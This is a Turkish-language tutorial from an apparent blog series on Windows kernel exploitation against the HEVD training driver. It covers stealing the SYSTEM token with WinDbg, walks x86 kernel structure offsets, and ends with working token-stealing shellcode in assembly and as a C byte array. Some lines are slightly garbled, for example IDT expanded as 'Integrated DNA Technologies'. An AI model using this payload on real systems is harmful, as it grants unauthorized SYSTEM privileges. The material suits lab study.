Windows Kernel Exploitation 3 -Token Erişimi ve Shellcode yazımı
Çünkü işletim sistemi mimarisinde hemen hemen her bir işlem EPROCESS yapısı içerisinde tanımlanıyor. Bu yapı içerisinde inceleyeciğimiz işlemlere ait hafıza alanları vs gibi tüm bilgilere ulaşabiliyoruz. Sistem içerisindeki çalışan işlemleri inceleyebilmemiz için bu işlemlerin tutulduğu herhangi bir
WKE ile ilgili ilk yazımda lab ortamının nasıl kurulcağından, ikinci yazımda ise yine lab ortamımla ilgili olarak HEVD sürücülerinin nasıl yüklenebileceğinden bahsetmiştim.
1- Windows Kernel Exploitation – Lab ortamını kurma ve ilk erişim
2- Windows Kernel Exploitation 2 – HEVD Kurulumu
Bu yüzden lab ile ilgili bir sorunumuzun olduğunu düşünmüyorum. Bu seride işlem belirteçlerini (process token) kullanarak ayrıcalık yükseltmelerinden bahsedeceğim. Daha sonrasında da Shellcode yazımı olacak.
Kd kullanarak SYSTEM Token’ı çalma
**kd> !process 0 0 system
**PROCESS 842c8020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 89001cf8 HandleCount: 522. Image: System
Gerekli bağlantıyı sağladıktan sonra, Windbg tarafından bizlere sağlanan !process
uzantısıyla, yapılandırılmış işlemlerin birini yada tamamının bizlere gösterir. !process 0 0 system
komutuyla da temel bilgilere erişebiliyoruz.
Yukarıdaki çıktıda gördüğümüz üzere çekirdekteki (Kernel) EPROCESS
yapısının System adlı işlemin adresini sızdırıyor. Dt
komutu kullanarak daha fazla bilgiye ulaşabiliriz.
**kd> dt _EPROCESS
**nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d58dbd`22a004d0
+0x0a8 ExitTime : _LARGE_INTEGER 0x0.........................................................
+0x0f0 ExceptionPortData : (null)
+0x0f0 ExceptionPortValue : 0
+0x0f0 ExceptionPortState : 0y000
+0x0f4 ObjectTable : 0x89001cf8 _HANDLE_TABLE
**+0x0f8 Token : _EX_FAST_REF
**+0x0fc WorkingSetPage : 0.........................................................
+0x26c LastReportMemory : 0y0
+0x26c ReportPhysicalPageChanges : 0y0
+0x26c HandleTableRundown : 0y0.........................................................
Yukarıdaki çıktıdanda görebileceğiniz üzere Ox0f8
offset değerine sahip olan Token’ı görüyoruz. Token ile ilgili biraz daha fazla detaya ulaşmak içinde dt nt!_EX_FAST_REF
komutunu kullanıyoruz
dt nt!_EX_FAST_REF [ EPROCESS adresi] + [Token’a ait offset değeri]
**kd> dt nt!_EX_FAST_REF 842c8020+f8
**+0x000 Object : 0x89001446 Void
+0x000 RefCnt : 0y110
+0x000 Value : 0x89001446
Yukarıdaki çıktıya baktığımızda Token, iki alana sahip olan EX_FAST_REF
birleşiminde toplanır; birincisi ReCnt
(reference counter), ikincisi ise Value
(Değer)’dir.
**kd> dt nt!_TOKEN 842c8020
**+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x842c8f28`00000000.......................................
+0x0ac TokenFlags : 0
+0x0b0 TokenInUse : 0 ‘’
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 0x8494f0d8
+0x0bc LogonSession : 0x8293c368 _SEP_LOGON_SESSION_REFERENCES..............................................
+0x1dc VariablePart : 0
Windbg’nin bize sağladığı !TOKEN
uzantısıyla çok daha ayrıntılı bilgilere sahip olabiliriz.
Genel itibariyle yukarıda nasıl system token alacağımız ile ilgili olarak izleyeceğimiz yol diyebilirim. Yapacağımız işlemi basitçe anlatmak gerekirse debugee makinemizde cmd.exe
adında yeni bir işlem oluşturup, bulduğumuz token’i sistem token değerinin üzerine yazarsak eğer işlemimiz sistem olarak algılanacaktır.
Çalışan bir işlemin TOKEN’ını alma
**kd> !dml_proc
**Address PID Image file name
842c8020 4 System
8494f020 f8 smss.exe
84ef1d40 148 csrss.exe..............................
84fb5d40 24c svchost.exe
84fc08f8 288 VBoxService.ex
84fc8700 2c0 svchost.exe
84fe7d40 310 svchost.exe..............................
855017d8 8e0 svchost.exe
8555d858 980 WmiPrvSE.exe
**855815b0 9d4 cmd.exe
**8557f980 9dc conhost.exe
855899f8 b68 dllhost.exe
İlk olarak debugee makinemizde cmd.exe
‘yi çalıştırıyoruz. Daha sonra windbg üzerinde !dml_proc
uzantısını çalıştırarak, debugee makinemizde çalışan işlemleri adres değerleriyle birlikte görebiliriz.
Not:
Normalde, debugee makinemizde açtığımızcmd.exe
‘ye ait process adresine ulaşabilmek için yazının başında yaptığımız gibi!process 0 0 cmd.exe
komutunu da kullanabiliriz.
**kd> !process 855815b0
**PROCESS 855815b0 SessionId: 1 Cid: 09d4 Peb: 7ffdf000 ParentCid: 01dc
DirBase: 063c5000 ObjectTable: 9a5ea340 HandleCount: 21. Image: cmd.exe
VadRoot 85567c60 Vads 37 Clone 0 Private 116. Modified 0. Locked 0. DeviceMap 90bcb380
Token 89001440
ElapsedTime 00:33:42.864
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 36624
QuotaPoolUsage[NonPagedPool] 2220
Working Set Sizes (now,min,max) (574, 50, 345) (2296KB, 200KB, 1380KB)
PeakWorkingSetSize 574
VirtualSize 33 Mb
PeakVirtualSize 33 Mb
PageFaultCount 609
MemoryPriority FOREGROUND
BasePriority 8
CommitCharge 400
……………………………………………………………………………………….
………………………….
………………
……
Bunun haricinde cmd.exe ile ilgili daha fazla detaya ulaşabilmek için aşağıdaki komutu da kullanabilirsiniz.
!process [EPROCESS adresi]
kd> dt nt!_EX_FAST_REF 842c8020+f8**
--> System Address+Token Address +0x000
Object : 0x89001443
Void +0x000
RefCnt : 0y011 +0x000
Value : 0x89001443
kd> dt nt!_EX_FAST_REF 855815b0+f8**
--> CMD address+Token address +0x000
Object : 0x9a6ca031
Void +0x000
RefCnt : 0y001 +0x000
Value : 0x9a6ca031
kd> ?89001443&0xffffffff8
--> System Value+ Evaluate expression: 66722993216 = 0000000f`89001440
kd> ?9a6ca031&0xfffffff8
--> Cmd Value Evaluate expression: -1704157136 = 9a6ca030
kd> ?89001440 | 0y001
System Object + cmd Refcnt Evaluate expression: -1996483519 = 89001441
kd> ed 855815b0+f8 89001441**
kd> dt nt!_EX_FAST_REF 855815b0+f8 +0x000
Object : 0x89001441
Void +0x000
RefCnt : 0y001 +0x000
Value : 0x89001441
Not: Token’a ait offset değeri 0x0f8 dir
Yukarıda debugee
makinemizde çalışan tüm işlemleri listelemiştik. Burada bizi en çok ilgilendiren kısım ise system.exe
ve cmd.exe
‘ye ait olan token’lar oluyor. Çünkü bu adımda ystem.exe
‘ye ait olan token’ı cmd.exe içerisine kopyalıyoruz.
Daha sonra ise debugee makinemizde kontrol ettiğimizde, yetkili olduğumuzu görebiliyoruz.
Shellcode için gerekli bilgileri edinme
Bu kısımda ise son bölümde windbg üzerinden yaptığımız işlevi, shellcode üzerinden yapacağız. Bu yüzden Windbg’ı sadece ihtiyacımız olan bilgileri almak için kullanacağız ve gerekli bilgileri elde edip, harmanladıktan sonra gerekli ShellCode’a oluşturmuş olacağız.
Öncelikli olarak bizim işletim sistemi içerisinde çalışan işlemleri incelememiz ve bunları da shellcode içerisinden yapmamız gerekiyor. Bu yüzden ilk olarak EPROCESS yapısının başlangıcını bulmamız gerekiyor.
Çünkü işletim sistemi mimarisinde hemen hemen her bir işlem EPROCESS
yapısı içerisinde tanımlanıyor. Bu yapı içerisinde inceleyeciğimiz işlemlere ait hafıza alanları vs gibi tüm bilgilere ulaşabiliyoruz. Sistem içerisindeki çalışan işlemleri inceleyebilmemiz için bu işlemlerin tutulduğu herhangi bir yere erişim sağlamamız gerekiyor. Bu yüzden başlangıç noktası olarak Windows x86 mimarisinde FS
kaydının (FS register) işaret ettiği KPCR
(Kernel Processor Control Region) yapısını kullanacağız. (x64 içerisinde GS
olarak geçiyor).
Örnek olarak HackSysExtremeVulnerableDriver tarafından bize örnek olarak sunulan payload örneğine bakabiliriz. Örnekte belirtilen tüm PID, Token vs gibi değerlere, nasıl ulaşacağımızla ilgili olarak;
KPCR (Kernel Processor Control Region)
KPCR, Çekirdek İşlemci Kontrol Bölgesini temsil eder. KPCR, çekirdek (kernel) ve HAL tarafından paylaşılan CPU başına bilgi içeriyor. Ve sistemde mevcut CPU kadar KPCR vardır. Şu şekilde de tanımlarsak eğer “Windows işletim sistemi içerisinde, sistem içerisinde bulunan her cpu başına bir KPCR vardır.” diyebiliriz
**kd> dt nt!_KPCR **
+0x000 NtTib : _NT_TIB
+0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD ....................................
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B ....................................
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B ....................................
+0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB**
Yukarıdaki çıktıdan görebilceğimiz üzere aslında uğraşılabilecek pek çok veri yapısı bulunuyor. Fakat bizim burada ilgilendiğimiz Ox120
offset değerine sahip PrcbData
‘dır. Prcb de Windows içerisindeki önemli veri yapılarından biridir.
Mark Russinovich’in Windows Internal kitabındaki tanımlamaya göre; PCR ve PRCB, sistem içerisindeki mevcutIRQL
(Interrupt Request Level),IDT
(Integrated DNA Technologies) donanımı için bir işaretçi, çalışmakta olan bir işlem parçacığı ve bir sonraki çalıştırılacak olan işlem parçacığı gibi sistemdeki herbir işlemcinin durumu hakkında bilgi verir.
KPRCB (Kernel Process Control Block)
**kd> dt nt!_KPRCB **
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B **
+0x004 CurrentThread : Ptr32 _KTHREAD **
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 LegacyNumber : UChar
+0x011 NestingLevel : UChar
+0x012 BuildType : Uint2B
+0x014 CpuType : Char
+0x015 CpuID : Char
+0x016 CpuStep : Uint2B
+0x016 CpuStepping : UChar
+0x017 CpuModel : UChar
+0x018 ProcessorState : _KPROCESSOR_STATE
+0x338 KernelReserved : [16] Uint4B
KPCR’den Çekirdek işlemci kontrol bloğu hakkında bilgi edinebiliriz. Bu kısım bizim açımızdan önemlidir çünkü bize işlemcinin yürüttüğü iş parçacığı için KTHREAD yapısının konumunu verecek.
Yukarıdaki çıktıda odaklanacağımız kısım 0x004
offset değerine sahip olan KPRCB.CurrentThread
olacaktır. Ve şuanda çalıştırılan iş parçacığını temsil eden KTHREAD
veri yapısına ulaşabilmek için; “ PrcbData (Ox120) + CurrentThread (0x004) = 0x124”
KTHREAD (Kernel Thread)
**kd> dt nt!_KTHREAD **
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : Uint8B
+0x018 HighCycleTime : Uint4B
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr32 Void
+0x02c StackLimit : Ptr32 Void +0x030 KernelStack : Ptr32 Void
+0x034 ThreadLock : Uint4B
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : UChar
+0x03a Alerted : [2] UChar
+0x03c KernelStackResident : Pos 0, 1 Bit …………………………………. **
+0x040 ApcState : _KAPC_STATE **………………………………….
+0x1e8 MutantListHead : _LIST_ENTRY
+0x1f0 SListFaultAddress : Ptr32 Void
+0x1f4 ThreadCounters : Ptr32 _KTHREAD_COUNTERS
+0x1f8 XStateSave : Ptr32 _XSTATE_SAVE
KTHREAD veri yapısı, kendisinden daha büyük olan ETHREAD veri yapısına bağlıdır ve ETHREAD yapısının ilk bölümünü oluşturmaktadır. Ve hali hazırda yürütülmekte olan iş parçacıkları hakkında bazı low-level bilgiler barındırır.
Yukarıdaki çıktıdan yine görebileceğiniz üzere pek çok bilgi yer almaktadır fakat bizim amacımız KAPC_STATE
yapısı içerisinde bulunan 0x040
offset değerine sahip olan KTHREAD.ApcState
‘dir.
KAPC_STATE
**kd> dt nt!_KAPC_STATE **
+0x000 ApcListHead : [2] _LIST_ENTRY **
+0x010 Process : Ptr32 _KPROCESS **
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
Her bir iş parçacığı, ilişkili olduğu işlemi izler ve bunuda KAPC_STATE
içerisinde gerçekleştirir. Bu bizim açımızdan yararlıdır çünkü buradaki amaç process’i elde edip, sonrasında da belirtecini (token
) bulmaktır.
İstediğimiz process’i elde edebilmek için; ApcState (0x040) + Process (0x010) = 0x050
Mevcut çalışan işlem yapısını alma (GetCurrentProcess)
Windows işletim sistemi içerisinde yapıları işlemek için işaretçiler (pointers), iki kat bağlantılı bir listede saklanır. Eğer elimizde bir işlemin adresi varsa, diğerlerini de keşfetmek için aşağı-yukarı kaydırma yapmamız yeterli olacaktır. Fakat öncelikli olarak çekirdekteki bir işlemin adresini almış olmamız gerekiyor.
**kd> uf nt!PsGetCurrentProcess **
nt!PsGetCurrentProcess: 828a9f6e 64a124010000
mov eax,dword ptr
fs:[00000124h] 828a9f74 8b4050
mov eax,dword ptr [eax+50h] 828a9f77 c3 ret
nt!GetCurrentProcess
komutu ile mevcut çalışan işlemin adresini almış oluyoruz. Toplam üç satırdan olan bu çıktıdaki ilk iki satırdan shellcode’u yazarken yararlanacağız.
EPROCESS
Bu adımımızda ise EPROCESS yapısındaki UniqueProcessId, ActiveProcessLinks ve Token’ı elde edeceğiz.
**kd> dt nt!_EPROCESS**
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF **+
0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY **…………………………. **
+0x0f8 Token : _EX_FAST_REF **…………………………..
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
Öncelikli olarak UniqueProcessId
‘in PID
değerini bulmamız gerekiyor. İsimdende anlaşılacağı üzere mevcut çalışan işlemin PID değerini içeriyor. Çok uzun zamandır 4 değeri
ile belirtiliyor ama isteyen kişiler Task Manager
‘dan bu bilgiyi rahatça teyit edebilir.
İkinci olarak EPROCESS.ActiveProcessLinks
‘den bahsetmek gerekirse sistem içerisindeki her aktif işlemin EPROCESS yapısındaki ilgili ActiveProcessLinks listesinin adreslerini içeren iki kat bağlantılı listedir. Ayrıca ActiveProcessLinks
alanının bir LIST_ENTRY
veri yapısı olduğunu da görebiliyoruz.
Üçüncü olarak Token’ın EX_FAST_REF veri yapısı olduğunu görüyoruz. Bu veri yapısına baktığımızda;
**kd> dt nt!_EX_FAST_REF **
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, **3 Bits**
+0x000 Value : Uint4B
Buradaki ReftCnt’a ait olan 3 bits’i bir yere not ediyoruz. Çünkü shellcode’u yazarken bunu da kullanacağız.
Shellcode Yazımı
Shellcode için gerekli bilgileri edinmiş bulunmaktayız. HEVD’in bize örnek olarak verdiği Shellcode’lardan birini model olarak alabiliriz. Daha sonrasında küçük bir düzenleme ile istediğimize ulaşmış olacağız.
[bits 32]
start: pushad mov eax, [fs:0x124] mov eax, [eax + 0x050] ; mov ecx, eax ;
mov edx, 0x4 ; search_system_process: mov eax, [eax + 0x0b8] ; sub eax, 0x0b8 ; cmp [eax + 0x0b4], edx ; jnz search_system_process
mov edx, [eax + 0x0f8] ; mov edi, [ecx + 0x0f8] ; and edx, 0xFFFFFFF8 ; and edi, 0x03 mov [ecx + 0x0f8], edx ;
popad xor eax, eax pop ebp ret 8
ShellCode’u Derleme
Bu adıma kadar adımlarımızı tamamladıktan sonra yazdığımız Shellcode’u derlememiz gerekiyor. Açıkcası bunun için NASM veya YASM gibi uygulamalardan yararlanabiliyoruz. Ben NASM’ı kullanıp, gerekli derleme işlevini yaptıktan sonra, ortaya 1 KB’lik dosya çıkıyor. Ortaya çıkan dosyayı HxD yardımıyla birlikte açıp, daha sonra Edit->Copy As kısmına gelip -hangi dil ile yazmayı düşünüyorsanız- seçim işlemimizi yapıyoruz. Mesela C dili için seçtiğinizde aşağıdaki sonuç çıkmış olacak.
unsigned char rawData[67] = { 0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, 0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, 0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, 0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x03, 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00 };
Sonuç
Sonuç olarak HEVD alıştırmalarının ilkini gerçekleştirdim. Bunu yaparken de elimden geldiğince Windows Internals’lar ile ilgili de yararlı bilgiler, artı olarak Shellcode yazımıyla ilgili ayrıntıları da vermeye çalıştım diyebilirim.
HEVD ile ilgili serimi elimden geldiğince devam ettirmeye çalışacağım.
Bakıp, göreceğiz tabi ki…
Referanslar
1- CodeMachine
2- https://github.com/hacksysteam/HackSysExtremeVulnerableDriver